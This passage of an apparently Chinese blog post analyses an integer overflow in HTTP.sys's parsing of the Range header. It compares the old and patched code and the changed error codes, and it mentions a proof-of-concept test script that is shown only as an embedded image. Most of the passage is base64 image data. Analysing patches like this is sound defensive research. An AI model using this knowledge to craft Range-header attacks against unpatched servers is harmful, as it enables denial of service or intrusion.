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" alt="" />
在旧代码的调试中发现函数在此处调用了一个很大的整数。
而新版本的代码 调用了HTTP!RtlULongLongAdd 来检查是否有整数溢出。 注意,这个HTTP.sys内的函数调用5个参数而不是3个参数。重复之前的测试脚本, 就会发现系统返回的错误代码是0xC000000D(STATUS_INVALID_PARAMETER),而不再是 STATUS_INTEGER_OVERFLOW 。
修正之后的一个简单的POC测试脚本如下(此脚本仅用来解析证明模块内部对Range头参数的解析过程)。
aaarticlea/png;base64,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